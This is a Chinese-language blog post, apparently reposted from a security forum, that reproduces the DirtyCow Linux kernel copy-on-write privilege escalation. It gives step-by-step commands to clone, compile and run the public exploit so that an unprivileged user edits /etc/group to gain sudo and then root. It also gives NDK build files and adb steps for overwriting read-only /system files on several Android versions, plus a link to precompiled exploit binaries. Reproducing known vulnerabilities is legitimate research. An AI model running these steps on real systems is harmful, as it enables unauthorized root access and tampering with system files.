DirtyCow（脏牛）漏洞复现 - 好文

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<https://forum.90sec.com/t/topic/521>

这几天发现90sec需要登录才能浏览文章，为了方便就把该文章也发在个人博客，并顺便把之前编译好的脏牛提权EXP也一块放出来。

编译好的EXP下载地址： https://github.com/Brucetg/DirtyCow-EXP
<https://github.com/Brucetg/DirtyCow-EXP>

该漏洞是 Linux 内核的内存子系统在处理写时拷贝（Copy-on-Write）时存在条件竞争漏洞，
导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后，利用此漏洞获取其他只读内存映射的写权限，进一步获取 root 权限。

1.Linux

Ubuntu 14.04 :

1）添加用户：
sudo adduser test
输入两次密码后一直回车就行，查看当前用户的信息，终端输入 id，回车，可以看到当前用户是有 sudo 权限的。

切换到刚刚新建的 test 用户，同样输入 id，查看 test 用户的信息，发现 test 用户没有 sudo 权限，

2）运行DirtyCow的exp进行提权：
git clone https://github.com/dirtycow/dirtycow.github.io cd dirtycow.github.io
编译exp：
gcc dirtyc0w.c -o dirtycow lpthread
执行exp：
./dirtycow /etc/group “$(sed ‘/$sudo*$/ s/$/,test/’ /etc/group)”

新打开一个终端，切换到test，查看test用户信息，可以看到test用户已经拥有了sudo权限，执行sudo su
，输入test用户的密码后就可以切换到root权限，提权成功。

漏洞成因：

Linux写时拷贝技术（copy-on-write）

在Linux系统中，fork()会产生一个和父进程完全相同的子进程，但子进程在此后多会exec系统调用，出于效率考虑，Linux系统中引入了“写时复制”技术，也就是只有进程空间的各段的内容要发生变化时，才会将父进程的内容复制一份给子进程。

2.Android：

Linux上编译好的exp在Android平台上不能用，使用NDK编译下载好的exp：

EXP下载地址：
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
1. Android Studio中安装NDK，把cmake和LLDB也安装一下：

2. 在 https://github.com/googlesamples/android-ndk
<https://github.com/googlesamples/android-ndk> 下载源码，导入Android Studio

如果导入项目时Android studio好像卡住了一样，有可能是Android
Studio在后台正在下载东西，沿着这个路径：项目/gradle/wrapper找到这个文件：
gradle-wrapper.properties，打开它看看最后一行的gradle版本，若版本和你现有的版本不一致，可以去
http://services.gradle.org/distributions/
<http://services.gradle.org/distributions/> 上下载相应的版本，手动拷贝到：
C:\Users\用户名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew 目录下
注：这里的 bzyivzo6n839fup2jbap0tjew 是随机的

将下载好的android-ndk源码解压到某个位置，这里我是解压到了桌面上，所以在我个人的的计算机上android-ndk路径如下：
C:\Users\wangzt\Desktop\android-ndk
我们只需要用下面路径中的相应文件即可：
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\
在main目录下新建文件夹jni，在jni文件夹中新建两个文件：Android.mk 和Application.mk,内容如下：

Android.mk
LOCAL_PATH:= $(call my-dir) include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS
include $(BUILD_EXECUTABLE)
Application.mk
APP_ABI := all
要编译的文件：

3. 编译EXP：

命令行下cd 到如下目录：
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>
执行命令：
D:\AndroidSDK\ndk-bundle\ndk-build
编译成功后,在main目录下的libs文件夹中即可找到编译好的对应平台的EXP：

编译好的exp：

Android 4.4

adb连接手机（手机需开启USB调试）：

查看和adb连接的设备：

在/system/bin/目录下新建文件test_dirty_cow，并且将其权限修改为644

将编译好的EXP push到测试机的/data/local/tmp/目录下的dirtycow文件中（这里选用的编译好的POC是armeabi
平台的，arm64-v8a经测试不能使用，可以根据自己用的测试机的架构选择相应的平台）：

修改EXP权限：

当前用户权限（shell）：

切换到root权限，向test_dirty_cow文件中写入 123456，写入之后再切换为普通用户权限（shell），以普通用户权限执行EXP（下同）：

/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify

然后查看test_dirty_cow中的内容，发现文件内容已被修改为modify，复现成功：

Android 6.0.1 （安全补丁程序级别： 2017年2月1日）

测试机系统具体信息：

Android 6.0.1 默认关闭了并隐藏了开发者选项，需要在关于手机里的版本号处连续点击5次版本号才可以启用开发者选项，然后在开发者选项中启用USB调试。

接着我们在 /system/bin 目录下创建一个普通用户没有写权限的文件，因为默认的 /system 目录是只读的，所以需要 remount /system

注意：
mount -o rw,remount /system
上述命令中，remount和它前面的逗号之间不要有空格。

接下来的操作步骤和在Android 4.4 系统中差不多：

adb中切换为root权限，将新建的test_dirtycow 文件的权限修改为 644

给EXP可执行权限：

执行EXP 报错：

PIE这个安全机制从4.1引入，但是Android L之前的系统版本并不会去检验可执行文件是否基于PIE编译出的。因此不会报错。但是Android
L已经开启验证，如果调用的可执行文件不是基于PIE方式编译的，则无法运行。解决办法非常简单，在Android.mk中加入如下flag即可。
LOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIE
修改后的Android.mk 文件：
LOCAL_PATH:= $(call my-dir) include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS
LOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIE include
$(BUILD_EXECUTABLE)
Application.mk
APP_ABI := all
编译EXP：

Windows命令行下进行编译，因为我下载的ndk 存放在D:\AndroidSDK\ndk-bundle文件夹中，所以只需要在命令行下输入如下命令进行编译：
D:\AndroidSDK\ndk-bundle\ndk-build

经测试，不能任意修改文件内容：

因为这个Android 6.0的系统安全补丁是2017年2月份的，估计漏洞已经修补好了。

Android 6.0.1_r68（安全补丁程序级别： 2016年9月6日）

不多说，一样的操作：

可以看到test_dirtyc0w文件中的内容被修改为 modify，复现成功。

Android 5.1.1

复现过程：

用的EXP是测试Android 6.0.1时编译好的，拿来直接用即可。

在/system/bin目录下新建文件 test_dirty，试了几次没有成功：

解决办法：执行
mount -o rw,remount /system
并将新建的test_dirty 权限修改为644:

向文件test_dirty中写入 123456,执行EXP：
/data/local/tmp/dirtycow /system/bin/test_dirty modify
EXP执行一段时间后即可停止，此时再次查看 test_dirty 文件中的内容，发现文件内容已被更改为 modify，复现成功：

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